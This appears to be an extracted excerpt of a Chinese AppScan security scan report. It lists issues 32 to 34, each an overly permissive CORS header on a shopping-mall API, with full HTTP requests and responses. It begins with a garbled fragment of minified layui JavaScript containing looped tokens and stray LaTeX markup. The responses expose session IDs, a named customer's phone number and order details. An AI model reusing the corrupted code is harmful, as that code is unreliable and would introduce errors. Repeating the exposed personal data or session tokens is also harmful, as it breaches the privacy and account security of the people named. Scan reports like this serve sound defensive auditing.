find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find
id="'+a+'"]');return y.tabDelete(null,s),this},s.prototype.tabChange=function(i,a){var e=".layui-
tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-
{},v.on("click",i.headerElem,function(a){var
e=t(this).index();y.tabClick.call(this,a,e,null,i)})},s.prototype.progress=function(i,a){var
e="layui-progress",l=t("."+e+"[lay-filter="+i+"]"),n=l.find("."+e+"-bar"),s=n.find("."+e+"-
text");return n.css("width",a),s.text(a),this};var o=".layui-nav",c="layui-nav-item",r="layui-
nav-bar",u="layui-nav-tree",d="layui-nav-child",h="layui-nav-more",f="layui-anim layui-anim-
upbit", y={tabClick:function(i,a,s,o){o=o||{}};var
c=s||t(this),a=a||c.parent().children("li").index(c),r=o.headerElem?c.parent():c.parents(".layui-
tab").eq(0),u=o.bodyElem?t(o.bodyElem):r.children(".layui-tab-content").children(".layui-tab-
item"),d=c.find("a"),h=r.attr("lay-
filter"); "javascript:; "!==d.attr("href")&&" blank"===d.attr("target")||
(c.addClass(1).siblings().removeClass(1),u.eq(a).addClass(n).siblings().removeClass(n)),layui.eve
nt.call(this,e,"tab("+h+")",{elem:r,index:a})},tabDelete:function(i,a){var
\texttt{n=a||t(this).parent(),s=n.index(),o=n.parents(".layui-tab").eq(0),c=o.children(".layui-tab-red)}
content").children(".layui-tab-item"),r=o.attr("lay-filter");n.hasClass(1)&&(n.next()[0]?
y.tabClick.call(n.next()[0],null,s+1):n.prev()[0]&&y.tabClick.call(n.prev()[0],null,s-
1)),n.remove(),c.eq(s).remove(),setTimeout(function()
{y.tabAuto()},50), layui.event.call(this,e,"tabDelete("+r+")",
{\tt \{elem:o,index:s\})}, {\tt tabAuto:function()} \\ {\tt var i="layui-tab-more",e="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui-tab-bar",l="layui
close", n=this; t(".layui-tab").each(function() {var s=t(this),o=s.children(".layui-tab-title"),c=
(s.children(".layui-tab-content").children(".layui-tab-item"),'lay-stope="tabmore"'),r=t('<span
class="layui-unselect layui-tab-bar" '+c+"><i "+c+' class="layui-icon">&#xe6la;</i>
</span>');if(n===window&&8!=a.ie&&y.hideTabMore(!0),s.attr("lay-
allowClose") \&\&o.find("li").each(function() \{var i=t(this); if(!i.find("."+l)[0]) \{var a=t('<ii, line, lin
class="layui-icon layui-unselect '+1+'">ဆ
</i>'); a.on("click", y.tabDelete), i.append(a) \} \}), o.prop("scrollWidth") > o.outerWidth() + 1) > o.outerW
 \{ \texttt{if} \, (\texttt{o.find} \, (\texttt{"."+e}) \, [\texttt{0}] \,) \, \texttt{return}; \\ \texttt{o.append} \, (\texttt{r}) \,, \\ \texttt{s.attr} \, (\texttt{"overflow",""}) \,, \\ \texttt{r.on} \, (\texttt{"click"}, \texttt{function} \, (\texttt{t}) \,) \} 
 \{o[this.title?"removeClass":"addClass"] (i), this.title=this.title?"":"afc^i @" \}) \} else this.title?"":"afc^i @" Afc^i 
o.find("."+e).remove(),s.removeAttr("overflow")})},hideTabMore:function(i){var a=t(".layui-tab-
title");i!==!0&&"tabmore"===t(i.target).attr("lay-stope")||(a.removeClass("layui-tab-
more"),a.find(".layui-tab-bar").attr("title",""))},clickThis:function(){var
i=t(this), a=i.parents(o), n=a.attr("lay-filter"), s=i.find("a"), c="string"==typeof i.attr("lay-filter")
unselect");i.find("."+d)[0]||("javascript:;"!==s.attr("href")&&" blank"===s.attr("target")||c||
 (a.find("."+1).removeClass(1),i.addClass(1)),layui.event.call(this,e,"nav("+n+")",i))\},clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild("."+1),clickChild(".
 :function() {var i=t(this),a=i.parents(o),n=a.attr("lay-
filter"); a.find("."+1).removeClass(l), i.addClass(l), layui.event.call(this,e,"nav("+n+")",i)\}, show in the context of the 
Child:function() {var i=t(this),a=i.parents(o),e=i.parent(),l=i.siblings("."+d);a.hasClass(u)&&
 (l.removeClass(f),e["none"===l.css("display")?"addClass":"removeClass"]
(c+"ed"))},collapse:function(
. . .
```

问题 **32 / 51** Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAdd
实体:	goodsclassAdd (Page)
A A	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassAdd?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:31 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                "enterpriseid": null,
                "classid": null,
                "classcode": "04003001",
                "classname": null,
                "level": 3,
                "endflag": null,
                "status": null,
                "parentcode": "04003",
                "imgurl": null,
                "seq": null,
                "parentclassname": null,
                "goodsclassChildList": null
 "returnCode": 1,
 "msg": "
               生成的资产编码",
 "html": null
```

问题 33 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/updateSendGoods
实体:	updateSendGoods (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /order/updateSendGoods HTTP/1.1
Content-Length: 49
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://h5config-rest-enterprise.mall.xt.weilian.cn
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "orderDetails": [
                 "orderNo": "1846675691006654"
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:55 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returncode": 0,
```

```
"errmsg": "该申请单不是待发货状态!",
"html": null,
"returnCode": 0,
"msg": "该申请单不是待发货状态!"
}
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /order/updateSendGoods HTTP/1.1
Content-Length: 49
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://h5config-rest-enterprise.mall.xt.weilian.cn
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "orderDetails": [
                 "orderNo": "1753643902616654"
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:55 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returncode": 0,
                  该申请单不是待发货状态!",
 "errmsq": "
 "html": null,
 "returnCode": 0,
              该申请单不是待发货状态!"
 "msg": "
```

问题 34 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	0 (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/5

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=15&orderNo=1844674971616654&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:58 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "total": 1,
                  "orderList": [
                                   "orderNo": "1844674971616654",
                                   "enterpriseId": 55,
                                   "shopId": 1670,
                                   "userAccount": "1206654",
"createTime": 1515667497204,
                                  "createTimeStr": "2018-01-11 18:44:57",
                                   "totalPay": 30.00,
                                  "totalMinis": 0.00,
                                   "realPay": 30.00,
                                   "walletPayQty": null,
                                   "realPayQty": null,
                                   "payStartTm": null,
                                   "payStatus": 2,
                                   "payFinishTm": null,
```

```
"addressId": 1191315,
                                    "note": null,
                                   "synStatus": 1,
                                   "payType": nuii,
"deliveryAddress": null,
"ffi",
                                    "payType": null,
                                   "receiverName": " 怀信",
"receiverPhone": "18665939116",
                                   "acceptSynStatus": 0,
                                   "logisticsStatus": 0,
                                   "status": 0,
                                   "isSelfExtract": 0,
                                   "freight": 0.00,
                                    "hasInvoice": 0,
                                    "parentOrderNo": "1844674971606654",
                                   "autoCancelTime": null,
                                   "deliveryTime": null,
                                   "autoConfirmTime": null,
                                    "confirmTime": null,
                                   "shipmentsTime": null,
                                   "shipmentsUser": "",
"userName": " 怀信",
                                    "userPhone": "18665939116",
                                    "billNo": null,
                                   "runid": null,
                                    "globalFlowNo": null,
                                   "taskOpinionList": null,
                                   "totalNum": 1,
                                   "orderDetails": [
                                                     "rid": 11811,
                                                     "orderNo": "1844674971616654", "goodsId": 105173,
                                                     "goodsNum": 3,
                                                     "goodsPrice": 10.00,
                                                     "totalValue": 30.00,
                                                     "isScore": 0,
                                                     "status": 0,
                                                     "goodsCode": "0275319",
"goodsName": " 纸
                                                                            纸巾",
                                                     "goodsImg": "",
                                                     "goodsSpec": "",
"goodsUnit": "
                                                     "hasService": 0,
                                                     "facilitatorId": null,
                                                     "facilitatorCode": null,
                                                     "goodsModel": "",
"parentOrderNo": "1844674971606654",
                                                     "canAfterSaleNum": 3,
                                                     "realTotalValue": 30.00,
                                                     "classCode": "2702",
                                                     "className": "
                                                     "classId": null,
                                                     "parentClassCode": null,
                                                     "parentClassName": "
                                                                                   耗材类",
                                                     "parentClassId": null,
                                                     "brandId": 4345,
                                                     "brandName": "
                                                                            象翌",
                                                     "orderServeList": null,
                                                     "approvaltypeid": null,
                                                     "goodslevelid": null,
                                                     "gsbmid": null,
                                                     "level": null,
                                                     "gsbmname": null,
                                                     "approvaltypename": null,
                                                     "createTime": null,
                                                     "userAccount": null
                                    "selfExtractInfo": null,
                                   "orderInvoice": null,
                                   "orderTicketList": null
                       ]
"returncode": 1,
"errmsg": null,
```

```
"html": null,
"returnCode": 1,
"msg": null
}
```

变体-|2/5

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=4&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:49 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "total": 241,
                  "orderList": [
                                   "orderNo": "1844674971616654",
                                   "enterpriseId": 55,
                                   "shopId": 1670,
                                   "userAccount": "1206654",
                                   "createTime": 1515667497204,
                                   "createTimeStr": "2018-01-11 18:44:57",
                                   "totalPay": 30.00,
                                   "totalMinis": 0.00,
                                   "realPay": 30.00,
                                   "walletPayQty": null,
                                   "realPayQty": null,
                                   "payStartTm": null,
                                   "payStatus": 2,
                                   "payFinishTm": null,
                                   "addressId": 1191315,
                                   "note": null,
                                   "synStatus": 1,
                                   "payType": null,
                                   "deliveryAddress": null,
"receiverName": 「怀信",
"receiverPhone": "18665939116",
                                   "acceptSynStatus": 0,
                                   "logisticsStatus": 0,
                                   "status": 0,
                                   "isSelfExtract": 0,
                                   "freight": 0.00,
                                   "hasInvoice": 0,
```

```
"parentOrderNo": "1844674971606654",
"autoCancelTime": null,
"deliveryTime": null,
"autoConfirmTime": null,
"confirmTime": null,
"shipmentsTime": null,
"shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
"billNo": null,
"runid": null,
"globalFlowNo": null,
"taskOpinionList": null,
"totalNum": 1,
"orderDetails": [
                 "rid": 11811,
                 "orderNo": "1844674971616654",
                 "goodsId": 105173,
                 "goodsNum": 3,
                 "goodsPrice": 10.00,
                 "totalValue": 30.00,
                 "isScore": 0,
                 "status": 0,
                 "goodsCode": "0275319",
"goodsName": "纸
                                        纸巾",
                  "goodsImg": "",
                 "goodsImg . ,
"goodsSpec": "",
"goodsUnit": "
                                        盒",
                 "hasService": 0,
                 "facilitatorId": null,
                 "facilitatorCode": null,
                 "goodsType": 0,
                  "goodsModel": "",
                 "parentOrderNo": "1844674971606654",
                 "canAfterSaleNum": 3,
                 "realTotalValue": 30.00,
                 "classCode": "2702",
                  "className": "
                 "classId": null,
                  "parentClassCode": null,
                 "parentClassName": "
                                             耗材类",
                  "parentClassId": null,
                 "brandId": 4345,
                 "brandName": "
                                        象翌",
                 "orderServeList": null,
                  "approvaltypeid": null,
                  "goodslevelid": null,
                 "gsbmid": null,
                 "level": null,
                 "gsbmname": null,
                 "approvaltypename": null,
                 "createTime": null,
                 "userAccount": null
"selfExtractInfo": null,
"orderInvoice": null,
"orderTicketList": null
"orderNo": "1844674816636654",
"enterpriseId": 55,
"shopId": 1670,
"userAccount": "1206654",
"createTime": 1515667481706,
"createTimeStr": "2018-01-11 18:44:41",
"totalPay": 300.00,
"totalMinis": 0.00,
"realPay": 300.00,
"walletPayQty": null,
"realPayQty": null,
"payStartTm": null,
"payStatus": 2,
"payFinishTm": null,
"addressId": 1191315,
"note": null,
"synStatus": 1,
```

```
"payType": null,
"deliveryAddress": null,
""""
「怀信",
                                      "receiverPhone": "18665939116",
                                      "acceptSynStatus": 0,
                                      "logisticsStatus": 0,
                                      "status": 0,
                                     "isSelfExtract": 0,
                                     "freight": 0.00,
                                     "hasInvoice": 0,
                                      "parentOrderNo": "1844674816626654",
                                      "autoCancelTime": null,
                                      "deliveryTime": null,
                                      "autoConfirmTime": null,
                                      "confirmTime": null,
                                     "shipmentsTime": null,
                                     "shipmentsUser": "",
"userName": " 怀信",
                                     "userPhone": "18665939116",
                                     "billNo": null,
                                      "runid": null,
                                      "globalFlowNo": null,
                                     "taskOpinionList": null,
                                     "totalNum": 1,
                                     "orderDetails": [
                                                        "rid": 11809,
                                                        "orderNo": "1844674816636654",
                                                        "goodsId": 105172,
                                                        "goodsNum": 3,
                                                        "goodsPrice": 100.00,
"totalValue": 300.00,
                                                        "isScore": 0,
                                                        "status": 0,
                                                        "goodsCode": "0156474",
                                                        "goodsName": "lalala",
                                                        "goodsImg": "",
                                                        "goodsSpec": "",
"goodsUnit": "
                                                                               秒",
                                                        "hasService": 0,
. . .
```

变体-|3/5

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=6&pageSize=20&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
X-Hit-Server: nginx-2
 Connection: keep-alive
 Vary: Accept-Encoding
 Date: Fri, 12 Jan 2018 03:20:31 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                   "total": 241,
                   "orderList": [
                                     "orderNo": "1707616303866654",
                                    "enterpriseId": 55,
                                    "shopId": 1670,
"userAccount": "1206654",
                                     "createTime": 1515661630463,
                                    "createTimeStr": "2018-01-11 17:07:10",
                                    "totalPay": 35.00,
                                    "totalMinis": 0.00,
                                     "realPay": 35.00,
                                     "walletPayQty": null,
                                    "realPayQty": null,
                                     "payStartTm": null,
                                    "payStatus": 1,
                                     "payFinishTm": null,
                                     "addressId": 1191315,
                                     "note": null,
                                     "synStatus": 1,
                                     "payType": null,
                                     "deliveryAddress": null,
                                     "receiverName": "
                                                              ,
怀信",
                                     "receiverPhone": "18665939116",
                                     "acceptSynStatus": 0,
                                     "logisticsStatus": 0,
                                     "status": 0,
                                     "isSelfExtract": 0,
                                     "freight": 0.00,
                                     "hasInvoice": 0,
                                     "parentOrderNo": "1707616303856654",
                                     "autoCancelTime": null,
                                     "deliveryTime": null,
                                     "autoConfirmTime": null,
                                     "confirmTime": null,
                                     "shipmentsTime": null,
                                    "shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
                                     "billNo": null,
                                     "runid": "10000001818600",
                                     "globalFlowNo": "2018011100200",
                                     "taskOpinionList": null,
                                     "totalNum": 1,
                                     "orderDetails": [
                                                      "rid": 10812,
                                                      "orderNo": "1707616303866654",
                                                      "goodsId": 105135,
                                                      "goodsNum": 1,
                                                      "goodsPrice": 35.00,
                                                      "totalValue": 35.00,
                                                      "isScore": 0,
                                                      "status": 0,
                                                      "goodsCode": "0215946",
"goodsName": " 公4
                                                                          公牛排插-不走流程",
                                                      "goodsImg":
 "http://cms.mall.xt.weilian.cn/d/ccd6bcc2fd7b642f48bdc1a0ef937d45",
                                                      "goodsSpec": "403-1.8
                                                                                    米",
                                                      "goodsUnit": "
                                                      "hasService": 0,
                                                      "facilitatorId": null,
                                                      "facilitatorCode": null,
                                                      "goodsType": 0,
                                                      "goodsModel": "GN-403",
"parentOrderNo": "1707616303856654",
                                                      "canAfterSaleNum": 1,
                                                      "realTotalValue": 35.00,
```

```
"classCode": "2703",
"className": "日用百货",
                 "classId": null,
                 "parentClassCode": null,
                 "parentClassName": "
                                             耗材类",
                 "parentClassId": null,
                 "brandId": 4345,
                 "brandName": "
                                       象翌",
                 "orderServeList": null,
                 "approvaltypeid": null,
                 "goodslevelid": null,
                 "gsbmid": null,
                 "level": null,
                 "gsbmname": null,
                 "approvaltypename": null,
"createTime": null,
                "userAccount": null
"selfExtractInfo": null,
"orderInvoice": null,
"orderTicketList": null
"orderNo": "1707616300656654",
"enterpriseId": 55,
"shopId": 1670,
"userAccount": "1206654",
"createTime": 1515661630120,
"createTimeStr": "2018-01-11 17:07:10",
"totalPay": 35.00,
"totalMinis": 0.00,
"realPay": 35.00,
"walletPayQty": null,
"realPayQty": null,
"payStartTm": null,
"payStatus": 1,
"payFinishTm": null,
"addressId": 1191315,
"note": null,
"synStatus": 1,
"payType": null,
"deliveryAddress": null,
"receiverName": " 怀信",
"receiverPhone": "18665939116",
"acceptSynStatus": 0,
"logisticsStatus": 0,
"status": 0,
"isSelfExtract": 0,
"freight": 0.00,
"hasInvoice": 0,
"parentOrderNo": "1707616300646654",
"autoCancelTime": null,
"deliveryTime": null,
"autoConfirmTime": null,
"confirmTime": null,
"shipmentsTime": null,
"shipmentsUser": "",
"userName": " 怀信",
"userPhone": "18665939116",
"billNo": null,
"runid": "10000001818579",
"globalFlowNo": "2018011100199",
"taskOpinionList": null,
"totalNum": 1,
"orderDetails": [
                 "rid": 10811,
                 "orderNo": "1707616300656654",
                 "goodsId": 105135,
                 "goodsNum": 1,
                 "goodsPrice": 35.00,
                 "totalValue": 35.00,
                 "isScore": 0,
                 "status": 0,
                 "goodsCode": "0215946",
                 "go
                          0
```

```
...
...
```

变体-|4/5

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=6&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:20:40 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "total": 246,
                  "orderList": [
                                   "orderNo": "1715621448126654",
                                   "enterpriseId": 55,
                                  "shopId": 1670,
                                   "userAccount": "1206654",
                                   "createTime": 1515662144859,
                                   "createTimeStr": "2018-01-11 17:15:44",
                                   "totalPay": 99999999.00,
                                   "totalMinis": 0.00,
                                   "realPay": 99999999.00,
                                   "walletPayQty": null,
                                   "realPayQty": null,
                                   "payStartTm": null,
                                   "payStatus": 2,
                                   "payFinishTm": null,
                                   "addressId": 1191315,
                                   "note": null,
                                   "synStatus": 1,
